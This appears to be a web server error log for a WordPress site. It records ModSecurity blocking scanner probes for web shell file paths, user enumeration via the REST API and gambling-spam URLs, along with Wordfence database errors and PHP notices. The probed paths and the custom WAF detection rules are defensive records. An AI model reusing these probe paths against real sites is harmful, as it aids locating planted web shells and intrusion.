[Tue Feb 17 07:14:27.534113 2026] [:error] [pid 58659:tid 58673] [client 4.232.89.175:18346] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZOk08DX32iTEO4jt28QHAAAAMw"]
[Tue Feb 17 07:14:31.120103 2026] [:error] [pid 58659:tid 58679] [client 4.232.89.175:40493] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZOk18DX32iTEO4jt28QIwAAANI"]
[Tue Feb 17 07:14:32.787322 2026] [:error] [pid 58659:tid 58673] [client 4.232.89.175:19359] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZOk2MDX32iTEO4jt28QKAAAAMw"]
[Tue Feb 17 07:14:34.582563 2026] [:error] [pid 58558:tid 58635] [client 4.232.89.175:40448] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOk2imIxlfUL2nViZzRNwAAAI0"]
[Tue Feb 17 07:14:36.513402 2026] [:error] [pid 32790:tid 32818] [client 4.232.89.175:29588] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOk3Hs3HJP9ozPHsN4CtwAAARg"]
[Tue Feb 17 07:14:37.680378 2026] [:error] [pid 58552:tid 58606] [client 4.232.89.175:5730] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOk3TBHVJP2Oz3yR5f_-AAAAEs"]
[Tue Feb 17 07:14:38.614698 2026] [:error] [pid 58558:tid 58636] [client 4.232.89.175:10509] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOk3imIxlfUL2nViZzRQwAAAI4"]
[Tue Feb 17 07:14:39.441049 2026] [:error] [pid 58659:tid 58664] [client 4.232.89.175:40479] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aZOk38DX32iTEO4jt28QOwAAAMM"]
[Tue Feb 17 07:14:40.204706 2026] [:error] [pid 58558:tid 58644] [client 4.232.89.175:40495] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aZOk4CmIxlfUL2nViZzRRQAAAJY"]
[Tue Feb 17 07:14:45.256749 2026] [:error] [pid 58552:tid 58597] [client 4.232.89.175:19386] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aZOk5TBHVJP2Oz3yR5cAAQAAAEI"]
[Tue Feb 17 07:14:46.080521 2026] [:error] [pid 32790:tid 32817] [client 4.232.89.175:14394] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aZOk5ns3HJP9ozPHsN4CyQAAARc"]
[Tue Feb 17 07:14:47.016392 2026] [:error] [pid 58552:tid 58603] [client 4.232.89.175:8804] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZOk5zBHVJP2Oz3yR5cAAwAAAEg"]
[Tue Feb 17 07:14:48.537862 2026] [:error] [pid 58551:tid 58567] [client 4.232.89.175:31127] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZOk6K1t8eWr-MgFspqDMQAAAAc"]
[Tue Feb 17 07:14:49.750398 2026] [:error] [pid 58659:tid 58685] [client 4.232.89.175:19923] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZOk6cDX32iTEO4jt28QUQAAANg"]
[Tue Feb 17 07:14:50.753159 2026] [:error] [pid 58552:tid 58599] [client 4.232.89.175:19913] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZOk6jBHVJP2Oz3yR5cABQAAAEQ"]
[Tue Feb 17 07:14:52.125225 2026] [:error] [pid 32790:tid 32817] [client 4.232.89.175:14356] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aZOk7Hs3HJP9ozPHsN4C0gAAARc"]
[Tue Feb 17 07:14:53.126146 2026] [:error] [pid 58551:tid 58565] [client 4.232.89.175:19965] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aZOk7a1t8eWr-MgFspqDOAAAAAU"]
[Tue Feb 17 07:14:53.974264 2026] [:error] [pid 58552:tid 58605] [client 4.232.89.175:41033] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aZOk7TBHVJP2Oz3yR5cAEAAAAEo"]
[Tue Feb 17 07:14:55.570682 2026] [:error] [pid 58552:tid 58615] [client 4.232.89.175:14366] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aZOk7zBHVJP2Oz3yR5cAFAAAAFQ"]
[Tue Feb 17 07:14:56.688292 2026] [:error] [pid 58551:tid 58569] [client 4.232.89.175:29592] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZOk8K1t8eWr-MgFspqDPgAAAAk"]
[Tue Feb 17 07:14:57.766347 2026] [:error] [pid 58551:tid 58564] [client 4.232.89.175:41049] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZOk8a1t8eWr-MgFspqDQgAAAAQ"]
[Tue Feb 17 07:15:00.617482 2026] [:error] [pid 58659:tid 58670] [client 4.232.89.175:31117] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZOk9MDX32iTEO4jt28QaQAAAMk"]
[Tue Feb 17 07:15:04.718708 2026] [:error] [pid 58558:tid 58629] [client 4.232.89.175:14338] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZOk-CmIxlfUL2nViZzRdgAAAIc"]
[Tue Feb 17 07:15:07.233846 2026] [:error] [pid 58659:tid 58676] [client 4.232.89.175:9511] [client 4.232.89.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aZOk-8DX32iTEO4jt28QbwAAAM8"]
[Tue Feb 17 12:19:21.533760 2026] [proxy_fcgi:error] [pid 32790:tid 32798] [client 103.4.122.14:37586] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Tue Feb 17 12:28:04.395479 2026] [proxy_fcgi:error] [pid 58659:tid 58681] [client 103.4.122.14:38978] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/google-analytics-premium/pro/assets/vue/js/wizard.min.js', 'www.monsterinsights.com', '', '/\xb1\t\x03'),('wp-content/plugins/google-analytics-premium/pro/assets/vue/js/wizard.min.js', 'www.w3.org', '', '\\Z.6\xcc'),('wp-content/plugins/google-analytics-premium/pro/assets/vue/js/wizard.min.js', 'www.youtube.com', '', 'h`wn'),('wp-content/plugins/google-analytics-premium/pro/assets/vue/js/wizard.min.js', 'monsterinsights.com', '', '\xb9\xac\xd4\xb3') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/wpforms/assets/images/check-circle.svg', 'www.w3.org', '', '\\Z.6\xcc') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/wp-mail-smtp-pro/src/Providers/Postmark/Mailer.php', 'api.postmarkapp.com', '', '\xdbP\x18\xfe'),('wp-content/plugins/wp-mail-smtp-pro/src/Providers/Postmark/Mailer.php', 'postmarkapp.com', '', '`\t\\'\x9f') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/wpforms/assets/lib/flatpickr/flatpickr.min.js', 'www.w3.org', '', '\\Z.6\xcc') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWrite'
[Tue Feb 17 12:29:17.398675 2026] [proxy_fcgi:error] [pid 32790:tid 32815] [client 103.4.122.14:39220] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Tue Feb 17 12:35:02.698606 2026] [proxy_fcgi:error] [pid 58551:tid 58584] [client 103.4.122.14:40212] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Feb 17 12:35:21.766313 2026] [proxy_fcgi:error] [pid 58659:tid 58679] [client 103.4.122.14:40292] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Feb 17 12:35:39.843869 2026] [proxy_fcgi:error] [pid 58558:tid 58628] [client 103.4.122.14:40420] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Feb 17 12:35:53.830738 2026] [proxy_fcgi:error] [pid 58558:tid 58625] [client 103.4.122.14:40526] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Feb 17 17:09:31.337481 2026] [:error] [pid 58551:tid 58582] [client 34.19.51.253:49447] [client 34.19.51.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.51.253, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZQwS61t8eWr-MgFsppqKQAAABY"]
[Tue Feb 17 17:09:34.384089 2026] [:error] [pid 58551:tid 58584] [client 34.19.51.253:49447] [client 34.19.51.253] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZQwTq1t8eWr-MgFsppqLgAAABg"]
[Tue Feb 17 17:09:36.785762 2026] [:error] [pid 58551:tid 58578] [client 34.19.51.253:49447] [client 34.19.51.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.51.253, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZQwUK1t8eWr-MgFsppqMwAAABI"]
[Tue Feb 17 17:42:37.966075 2026] [:error] [pid 42555:tid 42562] [client 51.77.218.191:49742] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZQ4DfCCGB-bBphvas2eJgAAAYU"]
[Tue Feb 17 17:42:40.427603 2026] [:error] [pid 58551:tid 58578] [client 51.77.218.191:54654] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZQ4EK1t8eWr-MgFsppzfwAAABI"]
[Tue Feb 17 17:42:42.788920 2026] [:error] [pid 32790:tid 32811] [client 51.77.218.191:33202] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZQ4Ens3HJP9ozPHsN5TOAAAARE"]
[Tue Feb 17 17:42:45.235822 2026] [:error] [pid 42555:tid 42557] [client 51.77.218.191:33214] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZQ4FfCCGB-bBphvas2eLAAAAYA"]
[Tue Feb 17 17:42:47.664992 2026] [:error] [pid 58552:tid 58597] [client 51.77.218.191:33218] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZQ4FzBHVJP2Oz3yR5cB0wAAAEI"]
[Tue Feb 17 17:42:50.068205 2026] [:error] [pid 42555:tid 42566] [client 51.77.218.191:33230] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZQ4GvCCGB-bBphvas2eMwAAAYk"]
[Tue Feb 17 17:42:52.428888 2026] [:error] [pid 13106:tid 13123] [client 51.77.218.191:47628] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZQ4HLBEWrYCV-0FRdrtfwAAAU0"]
[Tue Feb 17 17:42:54.895834 2026] [:error] [pid 58659:tid 58662] [client 51.77.218.191:47642] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZQ4HsDX32iTEO4jt28uCwAAAME"]
[Tue Feb 17 17:42:57.375535 2026] [:error] [pid 58659:tid 58676] [client 51.77.218.191:47658] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZQ4IcDX32iTEO4jt28uDgAAAM8"]
[Tue Feb 17 17:42:59.731613 2026] [:error] [pid 58551:tid 58576] [client 51.77.218.191:47668] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZQ4I61t8eWr-MgFsppzrAAAABA"]
[Tue Feb 17 17:43:02.101788 2026] [:error] [pid 13106:tid 13131] [client 51.77.218.191:53116] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZQ4JrBEWrYCV-0FRdrtjwAAAVU"]
[Tue Feb 17 17:43:04.621439 2026] [:error] [pid 58552:tid 58609] [client 51.77.218.191:53128] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZQ4KDBHVJP2Oz3yR5cB4wAAAE4"]
[Tue Feb 17 17:43:06.975103 2026] [:error] [pid 32790:tid 32818] [client 51.77.218.191:53136] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZQ4Kns3HJP9ozPHsN5TRwAAARg"]
